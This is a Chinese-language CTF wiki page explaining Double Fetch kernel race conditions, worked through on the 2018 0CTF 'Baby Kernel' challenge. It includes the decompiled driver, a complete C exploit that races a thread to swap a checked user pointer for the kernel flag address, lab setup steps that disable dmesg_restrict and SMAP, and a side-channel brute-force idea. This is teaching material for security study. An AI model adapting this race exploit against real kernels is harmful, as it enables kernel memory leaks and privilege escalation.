Double Fetch¶
概述¶
Double Fetch
从漏洞原理上属于条件竞争漏洞,是一种内核态与用户态之间的数据访问竞争。
在 Linux 等现代操作系统中,虚拟内存地址通常被划分为内核空间和用户空间。内核空间负责运行内核代码、驱动模块代码等,权限较高。而用户空间运行用户代码,并通过系统调用进入内核完成相关功能。通常情况下,用户空间向内核传递数据时,内核先通过通过 copy_from_user
等拷贝函数将用户数据拷贝至内核空间进行校验及相关处理,但在输入数据较为复杂时,内核可能只引用其指针,而将数据暂时保存在用户空间进行后续处理。此时,该数据存在被其他恶意线程篡改风险,造成内核验证通过数据与实际使用数据不一致,导致内核代码执行异常。
一个典型的 Double Fetch
漏洞原理如下图所示,一个用户态线程准备数据并通过系统调用进入内核,该数据在内核中有两次被取用,内核第一次取用数据进行安全检查(如缓冲区大小、指针可用性等),当检查通过后内核第二次取用数据进行实际处理。而在两次取用数据之间,另一个用户态线程可创造条件竞争,对已通过检查的用户态数据进行篡改,在真实使用时造成访问越界或缓冲区溢出,最终导致内核崩溃或权限提升。
2018 0CTF Finals Baby Kernel¶
题目分析¶
首先用 IDA 对驱动文件进行分析,可见 flag 是硬编码在驱动文件中的。
.data:0000000000000480 flag dq offset aFlagThisWillBe
.data:0000000000000480 ; DATA XREF: baby_ioctl+2A↑r
.data:0000000000000480 ; baby_ioctl+DB↑r ...
.data:0000000000000480 ; "flag{THIS_WILL_BE_YOUR_FLAG_1234}"
.data:0000000000000488 align 20h
驱动主要注册了一个 baby_ioctl
函数,其中包含两个功能。当 ioctl 中 cmd 参数为 0x6666 时,驱动将输出flag 的加载地址。当 ioctl 中 cmd 参数为 0x1337 时,首先进行三个校验,接着对用户输入的内容与硬编码的 flag 进行逐字节比较,当一致时通过 printk
将 flag 输出出来。
signed __int64 __fastcall baby_ioctl(__int64 a1, attr *a2)
{
attr *v2; // rdx
signed __int64 result; // rax
int i; // [rsp-5Ch] [rbp-5Ch]
attr *v5; // [rsp-58h] [rbp-58h]
_fentry__(a1, a2);
v5 = v2;
if ( (_DWORD)a2 == 0x6666 )
{
printk("Your flag is at %px! But I don't think you know it's content\n", flag);
result = 0LL;
}
else if ( (_DWORD)a2 == 0x1337
&& !_chk_range_not_ok((__int64)v2, 16LL, *(_QWORD *)(__readgsqword((unsigned __int64)¤t_task) + 4952))
&& !_chk_range_not_ok(
v5->flag_str,
SLODWORD(v5->flag_len),
*(_QWORD *)(__readgsqword((unsigned __int64)¤t_task) + 4952))
&& LODWORD(v5->flag_len) == strlen(flag) )
{
for ( i = 0; i < strlen(flag); ++i )
{
if ( *(_BYTE *)(v5->flag_str + i) != flag[i] )
return 0x16LL;
}
printk("Looks like the flag is not a secret anymore. So here is it %s\n", flag);
result = 0LL;
}
else
{
result = 0xELL;
}
return result;
}
而分析其检查函数,其中 _chk_range_not_ok
为检查指针及长度范围是否指向用户空间。通过对驱动文件功能的分析,可以得到用户输入的数据结构体如下:
00000000 attr struc ; (sizeof=0x10, mappedto_3)
00000000 flag_str dq ?
00000008 flag_len dq ?
00000010 attr ends
其检查内容为:
- 输入的数据指针是否为用户态数据。
- 数据指针内flag_str是否指向用户态。
- 据指针内flag_len是否等于硬编码flag的长度。
解题思路¶
根据 Double Fetch
漏洞原理,发现此题目存在一个 Double Fetch
漏洞,当用户输入数据通过验证后,再将 flag_str
所指向的地址改为 flag 硬编码地址后,即会输出 flag 内容。
首先,利用提供的 cmd=0x6666
功能,获取内核中 flag 的加载地址。
内核中以
printk
输出的内容,可以通过dmesg
命令查看。
然后,构造符合 cmd=0x1337
功能的数据结构,其中 flag_len
可以从硬编码中直接获取为 33, flag_str
指向一个用户空间地址。
最后,创建一个恶意线程,不断的将 flag_str
所指向的用户态地址修改为 flag 的内核地址以制造竞争条件,从而使其通过驱动中的逐字节比较检查,输出 flag 内容。
Exploit¶
// gcc -static exp.c -lpthread -o exp
#include <string.h>
char *strstr(const char *haystack, const char *needle);
#define _GNU_SOURCE /* See feature_test_macros(7) */
#include <string.h>
char *strcasestr(const char *haystack, const char *needle);
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <pthread.h>
#define TRYTIME 0x1000 //碰撞次数
#define LEN 0x1000
struct attr
{
char *flag;
size_t len;
};
unsigned long long addr;
int finish =0;
char buf[LEN+1]={0};
//线程函数,不断修改flag指向的地址为内核中flag地址
void change_attr_value(void *s){
struct attr * s1 = s;
while(finish==0){
s1->flag = addr;
}
}
int main(void)
{
int addr_fd;
char *idx;
int fd = open("/dev/baby",0);
int ret = ioctl(fd,0x6666);
pthread_t t1;
struct attr t;
setvbuf(stdin,0,2,0);
setvbuf(stdout,0,2,0);
setvbuf(stderr,0,2,0);
//获取内核硬编码的flag地址
system("dmesg > /tmp/record.txt");
addr_fd = open("/tmp/record.txt",O_RDONLY);
lseek(addr_fd,-LEN,SEEK_END);
read(addr_fd,buf,LEN);
close(addr_fd);
idx = strstr(buf,"Your flag is at ");
if (idx == 0){
printf("[-]Not found addr");
exit(-1);
}
else{
idx+=16;
addr = strtoull(idx,idx+16,16);
printf("[+]flag addr: %p\n",addr);
}
//构造attr数据结构
t.len = 33;
t.flag = buf;
//新建恶意线程
pthread_create(&t1, NULL, change_attr_value,&t);
for(int i=0;i<TRYTIME;i++){
ret = ioctl(fd, 0x1337, &t);
t.flag = buf;
}
finish = 1;
pthread_join(t1, NULL);
close(fd);
puts("[+]result is :");
system("dmesg | grep flag");
return 0;
}
其他¶
此题在环境配置时,有几点需要注意。
首先, 需关闭 dmesg_restrict
,否则无法查看 printk
信息,具体操作是在启动脚本中加入:
echo 0 > /proc/sys/kernel/dmesg_restrict
其次,配置 QEMU 启动参数时, 不要开启 SMAP
保护,否则在内核中直接访问用户态数据会引起 kerne panic
。
还有,配置 QEMU 启动参数时,需要配置为非单核单线程启动,否则无法触发题目中的竞争条件。具体操作是在启动参数中增加其内核数选项,如:
-smp 2,cores=2,threads=1 \
在启动后,可通过
/proc/cpuinfo
查看当前运行的内核数及超线程数。
最后,此题存在一种侧信道攻击的非预期解法:
由于是 flag 是硬编码的,并且是检查方法是逐字节比较,因此可以逐字节爆破来得到 flag。
方法是将待爆破的字节放在 mmap 申请的内存页末位,此时下一字节位于不可读写的用户态空间。当得到正确的一字节时,内核会比较用户空间内下一个字节的正确性,由于该地址是不可读的,将导致
kernel panic
,从而可以判断是否爆破的一个字节正确。
Reference¶
https://www.usenix.org/conference/usenixsecurity17/technical-sessions/presentation/wang-pengfei
https://veritas501.space/2018/06/04/0CTF%20final%20baby%20kernel/